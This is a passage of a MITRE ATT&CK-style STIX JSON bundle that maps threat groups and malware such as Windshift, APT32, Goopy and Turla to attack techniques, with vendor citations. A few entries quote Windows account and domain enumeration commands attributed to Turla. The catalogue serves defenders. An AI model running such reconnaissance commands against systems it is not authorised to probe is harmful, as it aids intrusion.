            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
            "external_references": [
                {
                    "source_name": "SANS Windshift August 2018",
                    "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf",
                    "description": "Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."
                }
            ],
            "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used links embedded in e-mails to lure victims into executing malicious code.(Citation: SANS Windshift August 2018)",
            "relationship_type": "uses",
            "id": "relationship--2332793b-afd0-407b-a1dc-97c5c7580bcb",
            "type": "relationship",
            "modified": "2020-06-25T17:48:41.195Z",
            "created": "2020-06-25T17:48:41.195Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1",
            "target_ref": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52",
            "external_references": [
                {
                    "source_name": "objective-see windtail1 dec 2018",
                    "url": "https://objective-see.com/blog/blog_0x3B.html",
                    "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."
                },
                {
                    "source_name": "SANS Windshift August 2018",
                    "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf",
                    "description": "Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."
                }
            ],
            "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used revoked certificates to sign malware.(Citation: objective-see windtail1 dec 2018)(Citation: SANS Windshift August 2018)",
            "relationship_type": "uses",
            "id": "relationship--893c9a7a-7f2c-4b96-877e-06870d5f989f",
            "type": "relationship",
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                    "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf",
                    "description": "Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."
                }
            ],
            "description": "[Windshift](https://attack.mitre.org/groups/G0112) has sent spearphishing emails with links to harvest credentials and deliver malware.(Citation: SANS Windshift August 2018)",
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                    "source_name": "objective-see windtail1 dec 2018",
                    "url": "https://objective-see.com/blog/blog_0x3B.html",
                    "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."
                },
                {
                    "source_name": "Blackberry Bahamut",
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                    "description": "The Blackberry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."
                }
            ],
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                }
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                }
            ],
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                    "url": "https://objective-see.com/blog/blog_0x3B.html",
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                }
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                }
            ],
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                }
            ],
            "description": "[WindTail](https://attack.mitre.org/software/S0466) can be delivered as a compressed, encrypted, and encoded payload.(Citation: objective-see windtail2 jan 2019)",
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                }
            ],
            "description": "[WindTail](https://attack.mitre.org/software/S0466) can identify and add files that possess specific file extensions to an array for archiving.(Citation: objective-see windtail2 jan 2019)",
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                    "url": "https://objective-see.com/blog/blog_0x3B.html",
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                }
            ],
            "description": "[WindTail](https://attack.mitre.org/software/S0466) can use the <code>open</code> command to execute an application.(Citation: objective-see windtail1 dec 2018)",
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                    "url": "https://objective-see.com/blog/blog_0x3B.html",
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                }
            ],
            "description": "[WindTail](https://attack.mitre.org/software/S0466) has the ability to generate the current date and time.(Citation: objective-see windtail1 dec 2018)",
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                    "source_name": "objective-see windtail1 dec 2018",
                    "url": "https://objective-see.com/blog/blog_0x3B.html",
                    "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."
                }
            ],
            "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used compromised websites to register custom URL schemes on a remote system.(Citation: objective-see windtail1 dec 2018)",
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            "type": "relationship",
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                    "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767",
                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."
                }
            ],
            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) uses JavaScript to get the system time.(Citation: Medium Metamorfo Apr 2020) ",
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            "description": "Consider updating Windows to the latest version and patch level to utilize the latest protective measures against UAC bypass.(Citation: Github UACMe)",
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                    "source_name": "objective-see windtail1 dec 2018",
                    "url": "https://objective-see.com/blog/blog_0x3B.html",
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                }
            ],
            "description": "[WindTail](https://attack.mitre.org/software/S0466) has used icons mimicking MS Office files to mask payloads.(Citation: objective-see windtail1 dec 2018)",
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                    "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf",
                    "description": "Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."
                }
            ],
            "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used fake personas on social media to engage and target victims.(Citation: SANS Windshift August 2018)\t",
            "relationship_type": "uses",
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            ],
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            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used COM scriptlets to download Cobalt Strike beacons.(Citation: Cybereason Cobalt Kitty 2017)\t",
            "relationship_type": "uses",
            "id": "relationship--768a6678-4823-4af5-bfd9-1a92c562b9f2",
            "type": "relationship",
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            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                },
                {
                    "source_name": "Volexity Ocean Lotus November 2020",
                    "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/",
                    "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used JavaScript for drive-by downloads and C2 communications.(Citation: Cybereason Cobalt Kitty 2017)(Citation: Volexity Ocean Lotus November 2020)",
            "relationship_type": "uses",
            "id": "relationship--18771b0e-2d4b-4f76-ae1e-9cdac1c77cd0",
            "type": "relationship",
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to exfiltrate data over the Microsoft Outlook C2 channel.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--db296410-83e6-4716-af90-ae4b7e7f3171",
            "type": "relationship",
            "modified": "2020-06-29T21:37:55.980Z",
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            ],
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            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to disable Microsoft Outlook's security policies to disable macro warnings.(Citation: Cybereason Cobalt Kitty 2017)\t",
            "relationship_type": "uses",
            "id": "relationship--82a053be-71c5-49d5-b1f9-9cf979511e85",
            "type": "relationship",
            "modified": "2020-06-29T21:37:56.007Z",
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        },
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            ],
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            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to enumerate the infected system's user name.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--80e484a4-e5b5-4de1-81c7-2bd1a927d156",
            "type": "relationship",
            "modified": "2020-06-29T21:37:56.012Z",
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        },
        {
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            ],
            "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has used a polymorphic decryptor to decrypt itself at runtime.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--c9aa1bb6-874a-4de6-84c8-e1e9d1d112d0",
            "type": "relationship",
            "modified": "2020-06-29T21:37:56.010Z",
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        },
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            ],
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            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has checked for the Google Updater process to ensure [Goopy](https://attack.mitre.org/software/S0477) was loaded properly.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--afffac16-cc57-4b01-8325-d88ab73454e1",
            "type": "relationship",
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            "created": "2020-06-26T16:17:18.191Z"
        },
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to use a Microsoft Outlook backdoor macro to communicate with its C2.(Citation: Cybereason Cobalt Kitty 2017)\t",
            "relationship_type": "uses",
            "id": "relationship--097a4294-e9e6-46a1-8ecb-06ab0b00d773",
            "type": "relationship",
            "modified": "2020-06-29T21:37:56.047Z",
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        },
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            ],
            "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has the ability to  enumerate the infected system's user name via <code>GetUserNameW</code>.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--c6c9fa0e-988e-4c14-a30f-d6576572a2d9",
            "type": "relationship",
            "modified": "2020-06-29T21:37:56.050Z",
            "created": "2020-06-26T16:17:18.195Z"
        },
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477) has impersonated the legitimate goopdate.dll, which was dropped on the target system with a legitimate GoogleUpdate.exe.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--e8edf0d8-3c24-4082-9177-1bfb6e7d95c6",
            "type": "relationship",
            "modified": "2020-06-29T21:37:56.053Z",
            "created": "2020-06-26T16:17:18.217Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[Goopy](https://attack.mitre.org/software/S0477)'s decrypter have been inflated with junk code in between legitimate API functions, and also included infinite loops to avoid analysis.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--6bf3a83b-d66d-4b6a-972c-c348686ebecb",
            "type": "relationship",
            "modified": "2020-06-29T21:37:56.052Z",
            "created": "2020-06-26T16:17:18.220Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) has been signed with self signed digital certificates mimicking a legitimate software company.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--01b97c8a-f08c-4f54-a401-14d888ca79b9",
            "type": "relationship",
            "modified": "2020-06-26T17:21:35.251Z",
            "created": "2020-06-26T17:21:35.251Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) can download and run batch files to execute commands on a compromised host.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--06aa7096-4813-4f50-a69a-7bcd6503ffe4",
            "type": "relationship",
            "modified": "2020-06-29T15:22:59.266Z",
            "created": "2020-06-26T17:21:35.288Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--c13d9621-aca7-436b-ab3d-3a95badb3d00",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[BackConfig](https://attack.mitre.org/software/S0475) can leverage API functions such as <code>ShellExecuteA</code> and <code>HttpOpenRequestA</code> in the process of downloading and executing files.(Citation: Unit 42 BackConfig May 2020)",
            "relationship_type": "uses",
            "id": "relationship--1c0296de-dc33-4fd7-b774-1bbe8c1b56b7",
            "type": "relationship",
            "modified": "2020-06-29T15:59:08.691Z",
            "created": "2020-06-26T17:21:35.290Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
            "relationship_type": "uses",
            "id": "relationship--19cc1620-de41-4076-b5b8-9d64364a578a",
            "external_references": [
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has used BITS jobs to download malicious payloads.(Citation: Unit 42 BackConfig May 2020)",
            "type": "relationship",
            "modified": "2020-06-26T17:55:45.067Z",
            "created": "2020-06-26T17:48:54.913Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04",
            "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8",
            "relationship_type": "subtechnique-of",
            "id": "relationship--e398ecb9-1e98-4518-aff8-aa18f527f9dc",
            "type": "relationship",
            "modified": "2020-06-28T22:55:55.826Z",
            "created": "2020-06-28T22:55:55.826Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "JPCert TSCookie March 2018",
                    "url": "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html",
                    "description": "Tomonaga, S.. (2018, March 6). Malware \u201cTSCookie\u201d. Retrieved May 6, 2020."
                }
            ],
            "description": "[TSCookie](https://attack.mitre.org/software/S0436) has the ability to discover drive information on the infected host.(Citation: JPCert TSCookie March 2018)",
            "relationship_type": "uses",
            "id": "relationship--4b2baed3-8e3c-4ab6-9b92-f147a9ab7d13",
            "type": "relationship",
            "modified": "2020-06-29T00:47:26.915Z",
            "created": "2020-06-29T00:47:26.915Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3",
            "target_ref": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html",
                    "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.",
                    "source_name": "FireEye Bootkits"
                }
            ],
            "description": "[BOOTRASH](https://attack.mitre.org/software/S0114) has used unallocated disk space between partitions for a hidden file system that stores components of the Nemesis bootkit.(Citation: FireEye Bootkits)",
            "relationship_type": "uses",
            "id": "relationship--29a6afc7-f051-4c26-b6a2-cad09c73180f",
            "type": "relationship",
            "modified": "2020-06-29T01:35:30.267Z",
            "created": "2020-06-29T01:35:30.267Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9",
            "target_ref": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04",
            "external_references": [
                {
                    "source_name": "Kaspersky Equation QA",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"
                }
            ],
            "description": "[Equation](https://attack.mitre.org/groups/G0020) has used an encrypted virtual file system stored in the Windows Registry.(Citation: Kaspersky Equation QA)",
            "relationship_type": "uses",
            "id": "relationship--00caa57d-7b0f-4156-907e-18d14d62965a",
            "type": "relationship",
            "modified": "2020-06-29T01:39:22.199Z",
            "created": "2020-06-29T01:39:22.199Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656",
            "target_ref": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04",
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Full Report",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"
                }
            ],
            "description": "[Strider](https://attack.mitre.org/groups/G0041) has used a hidden file system that is stored as a file on disk.(Citation: Kaspersky ProjectSauron Full Report)",
            "relationship_type": "uses",
            "id": "relationship--d24a47e5-e735-4cad-9c44-09d3a39d514c",
            "type": "relationship",
            "modified": "2020-06-29T01:43:19.527Z",
            "created": "2020-06-29T01:43:19.527Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
            "target_ref": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04",
            "external_references": [
                {
                    "source_name": "Kaspersky Regin",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
                }
            ],
            "description": "[Regin](https://attack.mitre.org/software/S0019) has used a hidden file system to store some of its components.(Citation: Kaspersky Regin)",
            "relationship_type": "uses",
            "id": "relationship--223b8d4b-97e9-4581-91aa-a599fb787309",
            "type": "relationship",
            "modified": "2020-06-29T01:54:53.487Z",
            "created": "2020-06-29T01:50:21.819Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used <code>net group \"Domain Admins\" /domain</code> to identify domain administrators.(Citation: ESET ComRAT May 2020)",
            "relationship_type": "uses",
            "id": "relationship--bcd2cfa1-793c-40a7-9920-614539e651a7",
            "type": "relationship",
            "modified": "2020-06-29T02:52:31.516Z",
            "created": "2020-06-29T02:52:31.516Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used <code>net localgroup</code> and <code>net localgroup Administrators</code> to enumerate group information, including members of the local administrators group.(Citation: ESET ComRAT May 2020)",
            "relationship_type": "uses",
            "id": "relationship--059cc1e2-9570-4760-8137-d3d71b66bb78",
            "type": "relationship",
            "modified": "2020-06-29T02:52:31.565Z",
            "created": "2020-06-29T02:52:31.565Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used <code>net user /domain</code> to enumerate domain accounts.(Citation: ESET ComRAT May 2020)",
            "relationship_type": "uses",
            "id": "relationship--689d5a99-cfcf-43d6-ae55-9bf920986f63",
            "type": "relationship",
            "modified": "2020-06-29T02:52:31.569Z",
            "created": "2020-06-29T02:52:31.569Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                },
                {
                    "source_name": "ESET Crutch December 2020",
                    "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/",
                    "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used <code>net user</code> to enumerate local accounts on the system.(Citation: ESET ComRAT May 2020)(Citation: ESET Crutch December 2020)",
            "relationship_type": "uses",
            "id": "relationship--8a47e81d-be1f-488c-8136-40e18c70d45f",
            "type": "relationship",
            "modified": "2020-12-07T21:18:03.506Z",
            "created": "2020-06-29T02:52:31.571Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5",
            "external_references": [
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                }
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used <code>net accounts</code> and <code>net accounts /domain</code> to acquire password policy information.(Citation: ESET ComRAT May 2020)",
            "relationship_type": "uses",
            "id": "relationship--f946b4f9-a18e-4a1e-856c-2c215f78f8be",
            "type": "relationship",
            "modified": "2020-06-29T02:56:20.597Z",
            "created": "2020-06-29T02:56:20.597Z"
        },
        {
